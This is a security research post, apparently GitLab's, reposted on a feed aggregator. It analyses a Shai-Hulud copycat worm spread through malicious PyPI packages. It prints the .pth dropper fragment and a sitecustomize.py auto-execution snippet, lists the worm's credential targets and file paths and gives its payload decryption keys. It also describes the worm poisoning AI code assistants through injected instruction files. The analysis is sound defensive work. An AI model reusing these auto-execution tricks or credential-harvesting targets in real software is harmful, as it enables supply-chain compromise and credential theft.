惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

V
Vulnerabilities – Threatpost
Blog — PlanetScale
Blog — PlanetScale
博客园_首页
Y
Y Combinator Blog
The Cloudflare Blog
V
V2EX
Microsoft Security Blog
Microsoft Security Blog
V
Visual Studio Blog
MyScale Blog
MyScale Blog
Martin Fowler
Martin Fowler
T
Tailwind CSS Blog
P
Privacy International News Feed
S
Securelist
T
The Blog of Author Tim Ferriss
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
T
Tor Project blog
P
Proofpoint News Feed
Project Zero
Project Zero
D
Darknet – Hacking Tools, Hacker News & Cyber Security
MongoDB | Blog
MongoDB | Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
H
Help Net Security
美团技术团队
The GitHub Blog
The GitHub Blog
SecWiki News
SecWiki News
酷 壳 – CoolShell
酷 壳 – CoolShell
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Security Latest
Security Latest
NISL@THU
NISL@THU
www.infosecurity-magazine.com
www.infosecurity-magazine.com
S
Secure Thoughts
Cyberwarzone
Cyberwarzone
Scott Helme
Scott Helme
IT之家
IT之家
Last Week in AI
Last Week in AI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
C
CERT Recently Published Vulnerability Notes
Google DeepMind News
Google DeepMind News
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
P
Privacy & Cybersecurity Law Blog
A
About on SuperTechFans
Microsoft Azure Blog
Microsoft Azure Blog
M
MIT News - Artificial intelligence
Spread Privacy
Spread Privacy
S
Schneier on Security
L
Lohrmann on Cybersecurity
S
Security Affairs
Apple Machine Learning Research
Apple Machine Learning Research
爱范儿
爱范儿
云风的 BLOG
云风的 BLOG

GitLab

Turn multi-step software delivery into agentic flows you can trust GitLab Duo Security Review spots logic flaws scanners miss Bring GitLab Duo Agent Platform to your terminal Forrester Consulting: GitLab Duo Agent Platform delivers 400% ROI GitLab 19.2 release notes | GitLab Docs When a version bump breaks your build, GitLab fixes it Green DevOps: Why carbon measurement belongs in your CI/CD pipeline GitLab Patch Release: 19.1.2, 19.0.4, 18.11.7 How we used AI agents to migrate GitLab rate limiting Keep your GitLab seats in check with restricted access GitLab Patch Release: 18.8.11 | GitLab Docs Claude Sonnet 5 on GitLab: More reliable, more efficient What Google Antigravity agents get full context with GitLab Orbit GitLab Patch Release: 19.1.1, 19.0.3, 18.11.6 GitLab 19.1 release notes | GitLab Docs AI Catalog updates for governance and operations One vulnerability view: From scanner coverage to AI governance GitLab named a Leader in the 2026 Gartner® Magic Quadrant™ for DevSecOps Platforms GitLab and Capgemini accelerate DevSecOps transformation Introducing the 2026 EMEA GitLab Partner Award winners GitLab Patch Release: 19.0.2, 18.11.5, 18.10.8 Introducing GitLab Orbit GitLab Flex: Commit once, reshape your seats and AI spend GitLab: Built for the agentic engineering era GitLab on Google Cloud: Fully managed, compliant, and AI-ready Mythos-class Claude Fable 5 arrives on GitLab Duo Agent Platform GitLab Patch Release: 19.0.1, 18.11.4, 18.10.7 Claude Opus 4.8 on GitLab: Complex agentic work, less disruption Agentic coding is only as good as its context GitLab Patch Release: 18.9.8, 18.8.10, 18.7.7, 18.6.8, 18.5.7 Full security scanner coverage of your codebase in minutes Reduce supply chain risk with SBOM-based dependency scanning Transform MRs from manual tasks to an automated workflow Track CI component usage across your organization Manage CI/CD credentials with GitLab Secrets Manager More AI models for GitLab Duo Agent Platform Self-Hosted GitLab 19.0 | GitLab Docs GitLab Dedicated for Government now GovRAMP-authorized Beyond BYOK: Why governance matters for AI agents Fix bugs with Codex and GitLab 5 ways to fix misleading vulnerability severities with policy Harden your pipeline perimeter for the era of AI-assisted coding GitLab Patch Release: 18.11.3, 18.10.6, 18.9.7 GitLab Act 2 Consolidate your GitLab stack with Gitaly on Kubernetes Limit token exposure with fine-grained PATs Automate deployment processes with GitLab Duo Agent Platform Claude Code and GitLab: Three workflows that ship 8 Agentic AI patterns reshaping team collaboration How to detect and prevent Contagious Interview IDE attacks Atlassian will train on your data: Opt out with GitLab Automate detection testing with GitLab CI/CD and Duo
Shai-Hulud copycat campaign targets Python developers through PyPI typosquatting
Dinesh Bolkensteyn · 2026-06-09 · via GitLab

GitLab's Vulnerability Research team has identified a coordinated supply chain attack on PyPI deploying a copy of the Shai-Hulud malware. We found five malicious packages: four typosquats impersonating Flask, Requests, and NumPy, and one weaponized legitimate project. The packages execute code at install time, with no import or function call required, and carry a self-propagating credential stealer that targets CI/CD environments across all major cloud providers.

We confirmed that GitLab was not using any of the affected packages and are sharing our findings to help the broader security community respond effectively.

Inside the attack

Our monitoring systems flagged five malicious PyPI packages from a single account (elitexp) on June 7, 2026. Four are typosquats:

  • rlask and tlask, typosquats of Flask
  • rsquests, a typosquat of Requests
  • nhmpy, a typosquat of NumPy

The fifth, mflux-streamlit, is a legitimate project with real users that the attacker weaponized by publishing malicious versions 0.0.3 and 0.0.4 after the typosquat wave.

The attacker published clean "probe" versions first, with version numbers matching the real latest releases exactly (Flask 3.1.3, Requests 2.34.2, and NumPy 2.4.6). Once these were indexed without issue, the attacker pushed new versions with the worm payload baked in.

This is a copycat deployment. TeamPCP, the group behind Shai-Hulud, open-sourced the worm's code on May 12, 2026. We've been tracking independent actors picking up the toolkit and aiming it at new targets since then. This campaign brings the same worm to the Python ecosystem.

Technical analysis

Initial infection vector

The original npm variant used a preinstall script. This campaign takes a different approach, exploiting Python's .pth file mechanism. Wheel packages can ship .pth files that Python processes automatically on startup, requiring no explicit import. Each malicious package includes a file like rlask-setup.pth containing a one-liner dropper:

      import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

    

The dropper checks for a marker file (.bun_ran in the system temp directory) to avoid re-execution, then downloads the Bun JavaScript runtime from GitHub and uses it to execute a 5 MB obfuscated JavaScript payload bundled in the package.

Early versions of rlask also included a sitecustomize.py file as a backup execution path. Python auto-imports sitecustomize on startup, and this file searched sys.path for the hidden _index.js payload:

      import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

    

The attacker dropped this backup mechanism in later versions, apparently finding the .pth approach sufficient on its own.

Payload obfuscation

The JavaScript payload is wrapped in three layers:

  1. A ROT-N character cipher applied to an integer array (the rotation value varies per package: ROT-13 for [email protected], ROT-17 for rsquests, ROT-25 for tlask)
  2. AES-128-GCM encryption with hardcoded keys, producing two encrypted blobs
  3. Standard variable-name mangling (_0x prefix obfuscation) on the inner payload

We decrypted the payload through static analysis without executing any code. The first blob (907 bytes) is the Bun runtime downloader. The second blob (772 KB) is the complete Shai-Hulud credential stealer, containing 2,538 hardcoded strings.

For researchers performing their own analysis, here are the AES decryption keys:

LayerKeyIV
Bun downloaderc95506221d18936328fbc7ddcd21e3dd48da5faeafac0ac88a410bb0
Worm payload7557c4e782a0622159476d1ea10d523655a7d25e0e61b77cc175bcc3

Credential harvesting

Once running, the worm goes after credentials across every major cloud and CI/CD platform:

  • GitHub Actions: GITHUB_TOKEN, personal access tokens, fine-grained tokens, OIDC tokens, organization and repository secrets, Actions artifacts, and runner process memory
  • AWS: IAM access keys, secret keys, session tokens, IMDS instance credentials (169[.]254[.]169[.]254), Secrets Manager entries, SSM parameters, STS federation tokens
  • Azure: Client secrets, managed identity tokens, Key Vault secrets, federated credentials, Microsoft Graph API tokens
  • GCP: Service account keys, application default credentials, cloud-platform scope tokens
  • HashiCorp Vault: Vault tokens from seven known filesystem paths (/var/run/secrets/vault-token, /etc/vault/token, /root/.vault-token, and others), plus API access and Kubernetes Vault auth
  • npm / JFrog: npm tokens, JFrog/Artifactory API keys, OIDC token exchange
  • PyPI: Publishing tokens, OIDC mint tokens
  • RubyGems: API keys, gem publishing credentials
  • SSH: Private keys for lateral movement
  • Kubernetes: Service account tokens, kubeconfig files
  • Sigstore: OIDC tokens and Fulcio signing certificates, which would allow the attacker to sign artifacts under a trusted identity
  • Databases: MongoDB, MySQL, PostgreSQL, and Redis connection strings with embedded passwords

Self-propagation

Like the original npm variant, this is not just a stealer. It propagates. Using stolen credentials, the worm:

  • Commits .github/setup.js and workflow files to accessible GitHub repositories, causing the worm to re-execute in other CI pipelines
  • Injects .github/copilot-instructions.md to poison AI code assistants
  • Publishes additional poisoned packages to PyPI, npm, and RubyGems using stolen registry tokens
  • Attempts privilege escalation on self-hosted CI runners by injecting sudoers rules
  • Checks for StepSecurity's harden-runner and adjusts behavior if detected

The attacker

All five packages are owned by the PyPI account elitexp. The account was created in November 2024 with a legitimate package (mflux-streamlit, a Streamlit UI for image generation with 11 stars on GitHub). The associated GitHub account (github[.]com/elitexp) is 13+ years old with 43 public repositories, including university coursework and Laravel projects.

Upload metadata shows all packages were published using Bun/1.3.14 as the user-agent, the same runtime the malware downloads as part of its execution chain.

The attacker also weaponized mflux-streamlit itself. Versions 0.0.1 and 0.0.2 are clean, but Versions 0.0.3 and 0.0.4, published at 15:23 and 15:37 UTC after the typosquat campaign, contain the same .pth dropper and obfuscated payload. This makes the attack more dangerous than a typical typosquat: mflux-streamlit is a real project with existing users who may receive the poisoned update through normal dependency resolution.

Indicators of compromise

TypeIndicatorDescription
packagerlask 3.1.4-3.1.7Malicious Flask typosquat
packagetlask 3.1.4Malicious Flask typosquat
packagersquests 2.34.3Malicious Requests typosquat
packagenhmpy 2.4.7Malicious NumPy typosquat
packagemflux-streamlit 0.0.3, 0.0.4Weaponized legitimate package
file{package}-setup.pthAuto-executing dropper (SHA256: 6506d317...)
filesitecustomize.pyBackup auto-execution (present in rlask only)
file{package}/_index.jsObfuscated worm payload (5.2MB)
file.bun_ranExecution marker in system temp directory
networkhxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zipBun runtime download
networkhxxps[://]upload[.]pypi[.]org/legacy/Worm publishes poisoned PyPI packages
networkhxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/AWS IMDS credential theft
networkhxxps[://]login[.]microsoftonline[.]com/Azure AD token acquisition
networkhxxps[://]fulcio[.]sigstore[.]devSigstore certificate request
actorelitexp (PyPI)Package owner
actorBun/1.3.14Upload user-agent

What to do if you're affected

If any of these packages were installed in your environment:

  1. Remove the package immediately and check for the .bun_ran marker file in your system temp directory.
  2. Rotate all credentials that were accessible to the environment where the package was installed. This includes CI/CD tokens, cloud provider credentials, SSH keys, and registry publishing tokens.
  3. Audit your GitHub repositories for unexpected commits, especially files matching .github/setup.js, .github/copilot-instructions.md, or modified workflow files.
  4. Check your package registry accounts (PyPI, npm, RubyGems) for packages you did not publish.
  5. Review CI/CD pipeline logs for unexpected Bun downloads or JavaScript execution.

Timeline

DateEvent
2026-05-12TeamPCP open-sources the Shai-Hulud worm
2026-06-07 13:47 UTCProbe versions published ([email protected], [email protected])
2026-06-07 14:20 UTCFirst malicious version ([email protected]), detected within 28 seconds
2026-06-07 14:24 UTCAutomated analysis complete, flagged as malicious/critical
2026-06-07 14:27-15:04 UTCSix more malicious versions published across all four package names
2026-06-07 15:23-15:37 UTCAttacker weaponizes their own legitimate mflux-streamlit package (v0.0.3, v0.0.4)
2026-06-07Investigation confirms full Shai-Hulud worm via static analysis
2026-06-07 16:01 UTCAll malicious packages reported to PyPI security team
2026-06-08 03:15:06 UTCAdded the Advisory to GitLab Advisory Database
2026-06-08PyPI removed all releases of the malicious packages

How GitLab can help you detect these packages

If you are using GitLab Ultimate, you can use Dependency Scanning to automatically surface exposure to these packages in your projects. We have filed advisories (GMS-2026-572 through GMS-2026-576) covering all five packages in the GitLab Advisory Database. Once merged, any project with Dependency Scanning enabled will flag these packages in pipeline results and the Vulnerability Report.

For teams managing many repositories, GitLab Duo Chat with the Security Analyst Agent can help triage quickly. Ask questions like:

  • "Are any of my dependencies affected by the Shai-Hulud PyPI campaign?"
  • "Does this project have any malicious Python dependencies?"

Looking ahead

We expected this campaign after TeamPCP open-sourced the Shai-Hulud worm in May. Independent actors are picking up the toolkit and deploying it against new ecosystems. The Python variant uses a different initial infection vector (.pth files instead of preinstall scripts) but carries the same credential harvesting and self-propagation code underneath.

Our monitoring systems continue to track copycat deployments across npm, PyPI, and other registries. We will update this post as more information becomes available.

Find more articles from the Vulnerability Research team on our Security Labs site.